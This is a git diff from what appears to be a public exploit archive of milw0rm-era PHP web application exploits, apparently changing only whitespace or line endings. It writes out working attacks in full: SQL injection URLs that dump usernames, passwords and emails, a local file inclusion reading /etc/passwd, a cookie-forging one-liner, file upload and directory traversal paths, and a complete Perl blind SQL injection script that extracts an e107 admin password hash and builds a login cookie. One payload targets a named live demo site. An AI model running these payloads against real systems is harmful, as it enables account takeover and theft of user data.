diff --git a/platforms/php/webapps/648.pl b/platforms/php/webapps/648.pl
index 9d8715af9..5370c5904 100755
--- a/platforms/php/webapps/648.pl
+++ b/platforms/php/webapps/648.pl
@@ -167,6 +167,6 @@ print "-------------------------------------------------------------------------
 if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }
 else { print "Exploit failed\r\n"; }
 
-
-
-# milw0rm.com [2004-11-22]
+
+
+# milw0rm.com [2004-11-22]
diff --git a/platforms/php/webapps/6490.txt b/platforms/php/webapps/6490.txt
index b5dfb6cf6..91fedfccc 100755
--- a/platforms/php/webapps/6490.txt
+++ b/platforms/php/webapps/6490.txt
@@ -1,77 +1,77 @@
-============================================================
-AssetMan v2.5-b   SQL Injection using Session Fixation Attack
-============================================================
-
-           ;               ,           
-         ,;                 '.         
-        ;:                   :;         
-       ::                     ::       
-       ::                     ::       
-       ':                     :         
-        :.                    :         
-     ;' ::                   ::  '     
-    .'  ';                   ;'  '.     
-   ::    :;                 ;:    ::   
-   ;      :;.             ,;:     ::   
-   :;      :;:           ,;"      ::   
-   ::.      ':;  ..,.;  ;:'     ,.;:   
-    "'"...   '::,::::: ;:   .;.;""'     
-        '"""....;:::::;,;.;"""         
-    .:::.....'"':::::::'",...;::::;.   
-   ;:' '""'"";.,;:::::;.'""""""  ':;   
-  ::'         ;::;:::;::..         :;   
- ::         ,;:::::::::::;:..       :: 
- ;'     ,;;:;::::::::::::::;";..    ':. 
-::     ;:"  ::::::"""'::::::  ":     :: 
- :.    ::   ::::::;  :::::::   :     ; 
-  ;    ::   :::::::  :::::::   :    ;   
-   '   ::   ::::::....:::::'  ,:   '   
-    '  ::    :::::::::::::"   ::       
-       ::     ':::::::::"'    ::       
-       ':       """""""'      ::       
-        ::                   ;:         
-        ':;                 ;:"         
-          ';              ,;'           
-            "'           '"             
-              ' 
-
-
-AUTHOR : Neo Anderson   &   Rohit Bansal
-DATE   : 19th Sept,2008
-Email  : neo.whizzy@gmail.com & rohitisback@gmail.com
-
-#####################################################
-
-# Site        : http://www.bctree.com/~assetman
-# Bug         : SQL Injection using Session Fixation Attack
-# File        : search_inv.php
-# Variable    : GET variable 'order_by'
-
-#####################################################
-
-# Impact of Vulnerability:
-
-By exploiting this vulnerability, an attacker may conduct a session fixation attack. In a session fixation attack, the attacker fixes the user's session ID before the user even logs into the target server, thereby eliminating the need to obtain the user's session ID afterwards.
-
-#####################################################
-
-# Bug explanation - Session Fixation Attack/Meta Tag Exploitation:
-
-By injecting a custom HTTP header or by injecting a META tag, it is possible to alter the cookies stored in the browser. Attackers will normally manipulate cookie values to fraudulently authenticate themselves on a web site.
-
-#####################################################
-
-# PoC:
-
-http://127.0.0.1/assetman/search_inv.php?action=search_all&order_by=%3Cmeta+http-equiv='Set-cookie'+content='=value'%3E&order=DESC+limit+1,1--
-
-#####################################################
-# GreeTz
-InfySec , str0ke & EvilFingers
-
-www.infysec.com
-www.evilfingers.com
-
-#####################################################
-
-# milw0rm.com [2008-09-18]
+============================================================
+AssetMan v2.5-b   SQL Injection using Session Fixation Attack
+============================================================
+
+           ;               ,           
+         ,;                 '.         
+        ;:                   :;         
+       ::                     ::       
+       ::                     ::       
+       ':                     :         
+        :.                    :         
+     ;' ::                   ::  '     
+    .'  ';                   ;'  '.     
+   ::    :;                 ;:    ::   
+   ;      :;.             ,;:     ::   
+   :;      :;:           ,;"      ::   
+   ::.      ':;  ..,.;  ;:'     ,.;:   
+    "'"...   '::,::::: ;:   .;.;""'     
+        '"""....;:::::;,;.;"""         
+    .:::.....'"':::::::'",...;::::;.   
+   ;:' '""'"";.,;:::::;.'""""""  ':;   
+  ::'         ;::;:::;::..         :;   
+ ::         ,;:::::::::::;:..       :: 
+ ;'     ,;;:;::::::::::::::;";..    ':. 
+::     ;:"  ::::::"""'::::::  ":     :: 
+ :.    ::   ::::::;  :::::::   :     ; 
+  ;    ::   :::::::  :::::::   :    ;   
+   '   ::   ::::::....:::::'  ,:   '   
+    '  ::    :::::::::::::"   ::       
+       ::     ':::::::::"'    ::       
+       ':       """""""'      ::       
+        ::                   ;:         
+        ':;                 ;:"         
+          ';              ,;'           
+            "'           '"             
+              ' 
+
+
+AUTHOR : Neo Anderson   &   Rohit Bansal
+DATE   : 19th Sept,2008
+Email  : neo.whizzy@gmail.com & rohitisback@gmail.com
+
+#####################################################
+
+# Site        : http://www.bctree.com/~assetman
+# Bug         : SQL Injection using Session Fixation Attack
+# File        : search_inv.php
+# Variable    : GET variable 'order_by'
+
+#####################################################
+
+# Impact of Vulnerability:
+
+By exploiting this vulnerability, an attacker may conduct a session fixation attack. In a session fixation attack, the attacker fixes the user's session ID before the user even logs into the target server, thereby eliminating the need to obtain the user's session ID afterwards.
+
+#####################################################
+
+# Bug explanation - Session Fixation Attack/Meta Tag Exploitation:
+
+By injecting a custom HTTP header or by injecting a META tag, it is possible to alter the cookies stored in the browser. Attackers will normally manipulate cookie values to fraudulently authenticate themselves on a web site.
+
+#####################################################
+
+# PoC:
+
+http://127.0.0.1/assetman/search_inv.php?action=search_all&order_by=%3Cmeta+http-equiv='Set-cookie'+content='=value'%3E&order=DESC+limit+1,1--
+
+#####################################################
+# GreeTz
+InfySec , str0ke & EvilFingers
+
+www.infysec.com
+www.evilfingers.com
+
+#####################################################
+
+# milw0rm.com [2008-09-18]
diff --git a/platforms/php/webapps/6530.txt b/platforms/php/webapps/6530.txt
index f66d63db3..0a7b7429e 100755
--- a/platforms/php/webapps/6530.txt
+++ b/platforms/php/webapps/6530.txt
@@ -1,42 +1,41 @@
-
-  :::::::-.   ...    ::::::.    :::.
-   ;;,   `';, ;;     ;;;`;;;;,  `;;;
-   `[[     [[[['     [[[  [[[[[. '[[
-    $$,    $$$$      $$$  $$$ "Y$c$$
-    888_,o8P'88    .d888  888    Y88
-    MMMMP"`   "YmmMMMM""  MMM     YM
-
-   [ Discovered by dun \ dun[at]strcpy.pl ]
-
- #################################################################
- #  [ OpenElec <= v3.01 ]   Local File Inclusion Vulnerability   #
- #################################################################
- #
- # Script site: http://www.openelec.org/
- # Download: http://adullact.net/frs/?group_id=434
- #
- # Vuln: 
- # http://site.com/openelec/scr/form.php?obj=../../../../../../../etc/passwd%00
- #      
- #
- # Bug: ./openelec/scr/form.php (lines: 27-32)
- #
- # ...
- # 	$obj = "";
- #	if (isset ($_GET ['obj']))
- #		$obj = $_GET ['obj'];
- #	//
- #  	if (file_exists ("../obj/".$obj.".class.php"))
- #       include ("../obj/".$obj.".class.php");	        // * LFI *
- # ... 			    
- #
- #
- ###############################################
- # Greetz: D3m0n_DE * str0ke * and otherz..
- ###############################################
-
- [ dun / 2008 ] 
-
-*******************************************************************************************
-
-# milw0rm.com [2008-09-22]
+  :::::::-.   ...    ::::::.    :::.
+   ;;,   `';, ;;     ;;;`;;;;,  `;;;
+   `[[     [[[['     [[[  [[[[[. '[[
+    $$,    $$$$      $$$  $$$ "Y$c$$
+    888_,o8P'88    .d888  888    Y88
+    MMMMP"`   "YmmMMMM""  MMM     YM
+
+   [ Discovered by dun \ dun[at]strcpy.pl ]
+
+ #################################################################
+ #  [ OpenElec <= v3.01 ]   Local File Inclusion Vulnerability   #
+ #################################################################
+ #
+ # Script site: http://www.openelec.org/
+ # Download: http://adullact.net/frs/?group_id=434
+ #
+ # Vuln: 
+ # http://site.com/openelec/scr/form.php?obj=../../../../../../../etc/passwd%00
+ #      
+ #
+ # Bug: ./openelec/scr/form.php (lines: 27-32)
+ #
+ # ...
+ # 	$obj = "";
+ #	if (isset ($_GET ['obj']))
+ #		$obj = $_GET ['obj'];
+ #	//
+ #  	if (file_exists ("../obj/".$obj.".class.php"))
+ #       include ("../obj/".$obj.".class.php");	        // * LFI *
+ # ... 			    
+ #
+ #
+ ###############################################
+ # Greetz: D3m0n_DE * str0ke * and otherz..
+ ###############################################
+
+ [ dun / 2008 ] 
+
+*******************************************************************************************
+
+# milw0rm.com [2008-09-22]
diff --git a/platforms/php/webapps/6643.txt b/platforms/php/webapps/6643.txt
index 035fc3252..7d91a7bd9 100755
--- a/platforms/php/webapps/6643.txt
+++ b/platforms/php/webapps/6643.txt
@@ -1,21 +1,21 @@
-Author: ~!Dok_tOR!~
-Date found: 30.09.08
-Product: Discussion Forums 2k
-Version: 3.3
-URL: http://developer.berlios.de/projects/df2k/
-Vulnerability Class: SQL Injection
-Condition: magic_quotes_gpc = Off
-
-Exploit 1:
-
-http://localhost/[installdir]/misc/RSS1.php?CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5,6,7+from+DF2k_Members/*
-
-Exploit 2:
-
-http://localhost/[installdir]/misc/RSS2.php?id=1&CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,user(),4,5,6,7,8,9,10+from+DF2k_Members/*
-
-Exploit 3:
-
-http://localhost/[installdir]/misc/RSS5.php?SubID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5+from+DF2k_Members/*
-
-# milw0rm.com [2008-10-01]
+Author: ~!Dok_tOR!~
+Date found: 30.09.08
+Product: Discussion Forums 2k
+Version: 3.3
+URL: http://developer.berlios.de/projects/df2k/
+Vulnerability Class: SQL Injection
+Condition: magic_quotes_gpc = Off
+
+Exploit 1:
+
+http://localhost/[installdir]/misc/RSS1.php?CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5,6,7+from+DF2k_Members/*
+
+Exploit 2:
+
+http://localhost/[installdir]/misc/RSS2.php?id=1&CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,user(),4,5,6,7,8,9,10+from+DF2k_Members/*
+
+Exploit 3:
+
+http://localhost/[installdir]/misc/RSS5.php?SubID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5+from+DF2k_Members/*
+
+# milw0rm.com [2008-10-01]
diff --git a/platforms/php/webapps/676.c b/platforms/php/webapps/676.c
index 0ff356205..ea2e4d67d 100755
--- a/platforms/php/webapps/676.c
+++ b/platforms/php/webapps/676.c
@@ -80,6 +80,6 @@ System was exploited telnet to the port you have your backdoor set to listen on.
   if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
 ?>
 
-*/
-
-// milw0rm.com [2004-12-05]
+*/
+
+// milw0rm.com [2004-12-05]
diff --git a/platforms/php/webapps/6791.pl b/platforms/php/webapps/6791.pl
index 83d4c139d..662e0adf4 100755
--- a/platforms/php/webapps/6791.pl
+++ b/platforms/php/webapps/6791.pl
@@ -1,213 +1,213 @@
-# Author:    __GiReX__	
-# Homepage:  http://girex.altervista.org
-# Date:      19/10/2008
-
-# CMS:       e107
-# URL:       http://e107.org/
-
-# Note:	     Works regardless of php.ini settings (magic_quotes, register_globals..)
-
-# Attenction: This exploit was written for educational purpose. 
-# Use it at your own risk. Author will be not responsible for any damage.
-
-
-# Description: e107 is a content management system written in PHP 
-# and using the popular open source MySQL database system for content storage. 
-# It's completely free, totally customisable and in constant development.
-
-
-# Bug description:
-# e107 presents a vuln in userssettings.php (line 363-395), a POST array ($_POST['ue'])
-# goes into an update query, it cleans the values of this array but not the keys name...
-
-# File: usersettings.php (line 363-395)
-	if($_POST['ue'])
-        ...
-		foreach($_POST['ue'] as $key => $val)
-			$err = $ue->user_extended_validate_entry($val,$extList[$key]);
-			if(!$err)
-			  $val = $tp->toDB($val);						   <== Cleans values
-			  $ue_fields .= $key."='".$val."'";                <== Here our $_POST['ue'] keys and values
-		}
-    }
-	...
-# Lines: 496-500	
-
-	if($ue_fields)
-	{
-        // ***** Next line creates a record which presumably should be there anyway, so could generate an error
-		$sql->db_Select_gen("INSERT INTO #user_extended (user_extended_id, user_hidden_fields) values ('".intval($inp)."', '')");
-		$sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'");  <== Here vulnearable query
-	}
-
-# As you can see the return value of the update query isn't checked so we have to use a blind benchmark() method
-
-
-
-#!/usr/bin/perl 
-# e107 <= 0.7.13 Blind SQL Injection Exploit
-# Admin/User's Password Retrieve Exploit
-# Works regardless of php.ini settings
-# Coded by __GiReX__
-
-use POSIX;
-use LWP::UserAgent;
-use HTTP::Cookies;
-use Digest::MD5  qw(md5 md5_hex md5_base64); 
-
-if(@ARGV < 4)
-{
-    banner();
-    print "[+] You need an user account to run this exploit\n\n";
-    print "[+] Usage: perl $0 <host> <path> <your_username> <your_pass> <victim_id>\n";
-    print "[+] Example: perl $0 localhost /e107/ test password 1\n";
-    exit;
-}
-
-my $target  =  ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0].$ARGV[1]:  'http://' . $ARGV[0].$ARGV[1];
-my ($user, $pass, $id) = ($ARGV[2], $ARGV[3], ($ARGV[4]) ? $ARGV[4] : 1);
-
-my $lwp =  new LWP::UserAgent or die;
-my $cookie_jar = new HTTP::Cookies or die;
-$lwp->cookie_jar( $cookie_jar );
-
-my @cset  =  (48..57, 97..102); 
-
-my $benchmark = 1000000;
-my $prefix = "e107";     
-my $hash = "";
-
-banner();
-try_login($user, $pass) or die "[-] Unable to login with $user and $pass\n";
-
-syswrite(STDOUT,      "[+] Logged in with your account..\n".
-                      "[+] Checking database delay, please wait..\n\n" );
-
-$ndelay = check_bench("1=0");
-print STDOUT "[+] Normal delay: $ndelay\n";
-
-$bdelay = check_bench("1=1");
-print STDOUT "[+] Benchmark delay: $bdelay\n\n"; 
-
-if($bdelay - $ndelay < 4)
-{
-    print STDOUT "[-] Benchmarck delay too small compared to normal delay, increase it.\n";
-    exit ();
-}
-
-    
-for(my $j = 1; $j <= 32; $j++)
-{  
-    foreach $char(@cset)
-    {    
-        info(chr($char), $hash, "password");
-        
-        my ($pre_time, $post_time) = time();
-        $rv = check_char($char, $j, "user_password");    
-        $post_time = time();
-    
-             if($rv and ($post_time - $pre_time) > ($ndelay + 3))
-             {        
-                 $hash .= chr($char);
-                 last;
-             }
-    }
-    
-    last if $j != length($hash);
-}    
-
-if(not defined $hash or length($hash) != 32)
-{
-    print STDOUT "\n\n[-] Exploit mistake: please re-check benchmark\n";
-    exit;
-}
-else
-{
-    print STDOUT "\n\n[+] You can try to login with this cookie:\n";
-    print STDOUT "[+] Cookie: ${cookie_prefix}cookie=${id}.". md5_hex($hash)."\n";
-}
-
-sub try_login
-{
-   my ($user, $pass) = @_;   
-     
-     my $res = $lwp->post( $target.'news.php' , 
-                                
-                                [ 'username'  =>  $user,
-                                  'userpass'  =>  $pass,
-                                  'userlogin' =>  'Login',
-                                  'autologin' =>  '1' ] );
-                                  
-     if($res->status_line =~ /^302|200|301/ or $res->is_success)
-      {
-          if($res->as_string =~ /Set-Cookie: (.+)cookie/)
-          {
-                $cookie_prefix = $1;
-                return 1;
-          }
-          
-          return undef;
-      }
-    
-  die ("[-] Unable to request ${target}news.php ".$res->status_line."\n");
- }
-
-sub info
-{
-  my($c, $cur, $str)  =  @_;
-    
-    $cur = '' unless defined $cur;
-    print  STDOUT "[+] Victim ${str}: ${cur}${c}\r";
-    
-  $| = 1; 
-}
-
-sub check_bench
-{
-  my $true = shift;
-  my $delay = 0;
-
-    my $sql = "user_hidden_fields=99 AND CASE WHEN(${true}) THEN benchmark(${benchmark}, MD5(1)) END#";
-       
-    for(1..3)
-    {
-        my ($pre_time, $post_time) = time();  
-    
-        my $res = $lwp->post( $target.'usersettings.php',
-                                [ 'email'  =>  'damn@email.com',
-                                  'updatesettings' => 'Save Settings',
-                                  "ue[${sql}]" => 'damn' ]);        
-        $post_time = time();        
-        
-        $delay += int($post_time - $pre_time);
-		}
-        
-  return ceil($delay / 3);
-}
-
-sub check_char
-{
-  my ($char, $n, $field)  =  @_ ;
-  $rand = int($char + $n);
-  
-  my $sql = "user_hidden_fields=${rand} AND CASE WHEN(SELECT ASCII(SUBSTRING(${field},${n},1)) ".
-            "FROM ${prefix}_user WHERE user_id=${id})=${char} THEN benchmark(${benchmark}, MD5(1)) END#";
-       
-    my $res = $lwp->post( $target.'usersettings.php',
-                                [ 'email'  =>  'damn@email.com',
-                                  'updatesettings' => 'Save Settings',
-                                  "ue[${sql}]" => 'damn' ]);                    
-        
-  return $res->is_success;
-}
-
-sub banner
-{
-    print "\n";
-    print "[+] e107 <= 0.7.13 Blind SQL Injection\n";
-    print "[+] Admin/User's Password Retrieve Exploit\n";
-    print "[+] Coded by __GiReX__\n";
-    print "\n";
-}
-
-# milw0rm.com [2008-10-19]
+# Author:    __GiReX__	
+# Homepage:  http://girex.altervista.org
+# Date:      19/10/2008
+
+# CMS:       e107
+# URL:       http://e107.org/
+
+# Note:	     Works regardless of php.ini settings (magic_quotes, register_globals..)
+
+# Attenction: This exploit was written for educational purpose. 
+# Use it at your own risk. Author will be not responsible for any damage.
+
+
+# Description: e107 is a content management system written in PHP 
+# and using the popular open source MySQL database system for content storage. 
+# It's completely free, totally customisable and in constant development.
+
+
+# Bug description:
+# e107 presents a vuln in userssettings.php (line 363-395), a POST array ($_POST['ue'])
+# goes into an update query, it cleans the values of this array but not the keys name...
+
+# File: usersettings.php (line 363-395)
+	if($_POST['ue'])
+        ...
+		foreach($_POST['ue'] as $key => $val)
+			$err = $ue->user_extended_validate_entry($val,$extList[$key]);
+			if(!$err)
+			  $val = $tp->toDB($val);						   <== Cleans values
+			  $ue_fields .= $key."='".$val."'";                <== Here our $_POST['ue'] keys and values
+		}
+    }
+	...
+# Lines: 496-500	
+
+	if($ue_fields)
+	{
+        // ***** Next line creates a record which presumably should be there anyway, so could generate an error
+		$sql->db_Select_gen("INSERT INTO #user_extended (user_extended_id, user_hidden_fields) values ('".intval($inp)."', '')");
+		$sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'");  <== Here vulnearable query
+	}
+
+# As you can see the return value of the update query isn't checked so we have to use a blind benchmark() method
+
+
+
+#!/usr/bin/perl 
+# e107 <= 0.7.13 Blind SQL Injection Exploit
+# Admin/User's Password Retrieve Exploit
+# Works regardless of php.ini settings
+# Coded by __GiReX__
+
+use POSIX;
+use LWP::UserAgent;
+use HTTP::Cookies;
+use Digest::MD5  qw(md5 md5_hex md5_base64); 
+
+if(@ARGV < 4)
+{
+    banner();
+    print "[+] You need an user account to run this exploit\n\n";
+    print "[+] Usage: perl $0 <host> <path> <your_username> <your_pass> <victim_id>\n";
+    print "[+] Example: perl $0 localhost /e107/ test password 1\n";
+    exit;
+}
+
+my $target  =  ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0].$ARGV[1]:  'http://' . $ARGV[0].$ARGV[1];
+my ($user, $pass, $id) = ($ARGV[2], $ARGV[3], ($ARGV[4]) ? $ARGV[4] : 1);
+
+my $lwp =  new LWP::UserAgent or die;
+my $cookie_jar = new HTTP::Cookies or die;
+$lwp->cookie_jar( $cookie_jar );
+
+my @cset  =  (48..57, 97..102); 
+
+my $benchmark = 1000000;
+my $prefix = "e107";     
+my $hash = "";
+
+banner();
+try_login($user, $pass) or die "[-] Unable to login with $user and $pass\n";
+
+syswrite(STDOUT,      "[+] Logged in with your account..\n".
+                      "[+] Checking database delay, please wait..\n\n" );
+
+$ndelay = check_bench("1=0");
+print STDOUT "[+] Normal delay: $ndelay\n";
+
+$bdelay = check_bench("1=1");
+print STDOUT "[+] Benchmark delay: $bdelay\n\n"; 
+
+if($bdelay - $ndelay < 4)
+{
+    print STDOUT "[-] Benchmarck delay too small compared to normal delay, increase it.\n";
+    exit ();
+}
+
+    
+for(my $j = 1; $j <= 32; $j++)
+{  
+    foreach $char(@cset)
+    {    
+        info(chr($char), $hash, "password");
+        
+        my ($pre_time, $post_time) = time();
+        $rv = check_char($char, $j, "user_password");    
+        $post_time = time();
+    
+             if($rv and ($post_time - $pre_time) > ($ndelay + 3))
+             {        
+                 $hash .= chr($char);
+                 last;
+             }
+    }
+    
+    last if $j != length($hash);
+}    
+
+if(not defined $hash or length($hash) != 32)
+{
+    print STDOUT "\n\n[-] Exploit mistake: please re-check benchmark\n";
+    exit;
+}
+else
+{
+    print STDOUT "\n\n[+] You can try to login with this cookie:\n";
+    print STDOUT "[+] Cookie: ${cookie_prefix}cookie=${id}.". md5_hex($hash)."\n";
+}
+
+sub try_login
+{
+   my ($user, $pass) = @_;   
+     
+     my $res = $lwp->post( $target.'news.php' , 
+                                
+                                [ 'username'  =>  $user,
+                                  'userpass'  =>  $pass,
+                                  'userlogin' =>  'Login',
+                                  'autologin' =>  '1' ] );
+                                  
+     if($res->status_line =~ /^302|200|301/ or $res->is_success)
+      {
+          if($res->as_string =~ /Set-Cookie: (.+)cookie/)
+          {
+                $cookie_prefix = $1;
+                return 1;
+          }
+          
+          return undef;
+      }
+    
+  die ("[-] Unable to request ${target}news.php ".$res->status_line."\n");
+ }
+
+sub info
+{
+  my($c, $cur, $str)  =  @_;
+    
+    $cur = '' unless defined $cur;
+    print  STDOUT "[+] Victim ${str}: ${cur}${c}\r";
+    
+  $| = 1; 
+}
+
+sub check_bench
+{
+  my $true = shift;
+  my $delay = 0;
+
+    my $sql = "user_hidden_fields=99 AND CASE WHEN(${true}) THEN benchmark(${benchmark}, MD5(1)) END#";
+       
+    for(1..3)
+    {
+        my ($pre_time, $post_time) = time();  
+    
+        my $res = $lwp->post( $target.'usersettings.php',
+                                [ 'email'  =>  'damn@email.com',
+                                  'updatesettings' => 'Save Settings',
+                                  "ue[${sql}]" => 'damn' ]);        
+        $post_time = time();        
+        
+        $delay += int($post_time - $pre_time);
+		}
+        
+  return ceil($delay / 3);
+}
+
+sub check_char
+{
+  my ($char, $n, $field)  =  @_ ;
+  $rand = int($char + $n);
+  
+  my $sql = "user_hidden_fields=${rand} AND CASE WHEN(SELECT ASCII(SUBSTRING(${field},${n},1)) ".
+            "FROM ${prefix}_user WHERE user_id=${id})=${char} THEN benchmark(${benchmark}, MD5(1)) END#";
+       
+    my $res = $lwp->post( $target.'usersettings.php',
+                                [ 'email'  =>  'damn@email.com',
+                                  'updatesettings' => 'Save Settings',
+                                  "ue[${sql}]" => 'damn' ]);                    
+        
+  return $res->is_success;
+}
+
+sub banner
+{
+    print "\n";
+    print "[+] e107 <= 0.7.13 Blind SQL Injection\n";
+    print "[+] Admin/User's Password Retrieve Exploit\n";
+    print "[+] Coded by __GiReX__\n";
+    print "\n";
+}
+
+# milw0rm.com [2008-10-19]
diff --git a/platforms/php/webapps/6848.txt b/platforms/php/webapps/6848.txt
index c21ef2ac5..ada1e41b6 100755
--- a/platforms/php/webapps/6848.txt
+++ b/platforms/php/webapps/6848.txt
@@ -1,20 +1,20 @@
-##############################
-# TlAds v 1 => Insecure Cookie Handling
-#
-# Found By : x0r - Evolution Team
-#
-# Download: http://www.easy-script.com/scripts-dl/tlads-1.zip
-###############################
-
-Exploit:
-
-javascript:document.cookie = "tlAds_login=admin; path=/"
-
-Stupid Admin ! P0wned :P
-
-Grazie Al Mio Amore...Ti Amo Da Morire Margherita :P
-
-
-#Proud To Be Italian 
-
-# milw0rm.com [2008-10-27]
+##############################
+# TlAds v 1 => Insecure Cookie Handling
+#
+# Found By : x0r - Evolution Team
+#
+# Download: http://www.easy-script.com/scripts-dl/tlads-1.zip
+###############################
+
+Exploit:
+
+javascript:document.cookie = "tlAds_login=admin; path=/"
+
+Stupid Admin ! P0wned :P
+
+Grazie Al Mio Amore...Ti Amo Da Morire Margherita :P
+
+
+#Proud To Be Italian 
+
+# milw0rm.com [2008-10-27]
diff --git a/platforms/php/webapps/6865.txt b/platforms/php/webapps/6865.txt
index c5a9c7142..a5a2a11cd 100755
--- a/platforms/php/webapps/6865.txt
+++ b/platforms/php/webapps/6865.txt
@@ -1,30 +1,30 @@
- _____   ____   __   __     _       ____        ____    ____ 
-|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
-  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
-  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
-  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
-
-e107 Plugin fm pro v1 Multiple Remote Vulnerabilities
-
-I- Remote File Disclosure  / Write File 
-/e107_plugins/fm_pro_v1/fmp.php?fm_dir=&fm_action=confirm_edit_file&fm_filename={File}
-
-II- Remote File Upload 
-/e107_plugins/fm_pro_v1/fmp.php?fm_dir=&fm_action=confirm_upload_file
-You Can Upload PHP File 
-Get File in site.com/{path e107}/[name your file - as - 020.php]
-
-III- Local Directory Traversal
-/e107_plugins/fm_pro_v1/fmp.php?fm_dir=e107_admin
-And You Can [Rename] [Delete] [View] [Edit] Any Folder Or File
-
-
-        ____           _           _           __  __ 
-       / ___|   ___   | |       __| |         |  \/  |
-      | |  _   / _ \  | |      / _` |         | |\/| |
-      | |_| | | (_) | | |___  | (_| |         | |  | |
-       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
-                                      |_____|         
-
-
-# milw0rm.com [2008-10-29]
+ _____   ____   __   __     _       ____        ____    ____ 
+|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
+  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
+  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
+  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
+
+e107 Plugin fm pro v1 Multiple Remote Vulnerabilities
+
+I- Remote File Disclosure  / Write File 
+/e107_plugins/fm_pro_v1/fmp.php?fm_dir=&fm_action=confirm_edit_file&fm_filename={File}
+
+II- Remote File Upload 
+/e107_plugins/fm_pro_v1/fmp.php?fm_dir=&fm_action=confirm_upload_file
+You Can Upload PHP File 
+Get File in site.com/{path e107}/[name your file - as - 020.php]
+
+III- Local Directory Traversal
+/e107_plugins/fm_pro_v1/fmp.php?fm_dir=e107_admin
+And You Can [Rename] [Delete] [View] [Edit] Any Folder Or File
+
+
+        ____           _           _           __  __ 
+       / ___|   ___   | |       __| |         |  \/  |
+      | |  _   / _ \  | |      / _` |         | |\/| |
+      | |_| | | (_) | | |___  | (_| |         | |  | |
+       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
+                                      |_____|         
+
+
+# milw0rm.com [2008-10-29]
diff --git a/platforms/php/webapps/6988.txt b/platforms/php/webapps/6988.txt
index fba078c1b..e2d3a9aec 100755
--- a/platforms/php/webapps/6988.txt
+++ b/platforms/php/webapps/6988.txt
@@ -1,41 +1,41 @@
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-								IN THE NAME OF ALLAH
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-Tours Manager v1 (cityview.php cityid) SQL Injection Vulnerability
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-
-[~] Script:         	Tours Manager v1
-[~] Language :         	PHP
-[~] Website:	     	http://www.toursmanager.com
-[~] Type :             	Commercial
-[~] Report-Date :     	04/11/2008
-
-
---[ Founder ]--
-G4N0K <mail.ganok[at]gmail.com>
-
-
---[ Exploit ]--
-[+] http://localhost/[path]/cityview.php?cityid=-5+UNION+ALL+SELECT+1,2,3,concat(user(),0x3a,version()),5--
-
-
-
---[ L!ve ]--
-[+] http://www.toursmanager.com/demo/cityview.php?cityid=-5+UNION+ALL+SELECT+1,2,3,concat(user(),0x3a,version()),5--
-
-
-
---[ Greetz ]--
-[~] ALLAH
-[~] Tornado2800 <Tornado2800[at]gmail.com>
-[~] Hussain-X <darkangel_g85[at]yahoo.com>
-
-//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
-//ALLAH, forgimme...
-
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-exit(); //EoX
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-
-# milw0rm.com [2008-11-04]
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+								IN THE NAME OF ALLAH
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+Tours Manager v1 (cityview.php cityid) SQL Injection Vulnerability
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+
+[~] Script:         	Tours Manager v1
+[~] Language :         	PHP
+[~] Website:	     	http://www.toursmanager.com
+[~] Type :             	Commercial
+[~] Report-Date :     	04/11/2008
+
+
+--[ Founder ]--
+G4N0K <mail.ganok[at]gmail.com>
+
+
+--[ Exploit ]--
+[+] http://localhost/[path]/cityview.php?cityid=-5+UNION+ALL+SELECT+1,2,3,concat(user(),0x3a,version()),5--
+
+
+
+--[ L!ve ]--
+[+] http://www.toursmanager.com/demo/cityview.php?cityid=-5+UNION+ALL+SELECT+1,2,3,concat(user(),0x3a,version()),5--
+
+
+
+--[ Greetz ]--
+[~] ALLAH
+[~] Tornado2800 <Tornado2800[at]gmail.com>
+[~] Hussain-X <darkangel_g85[at]yahoo.com>
+
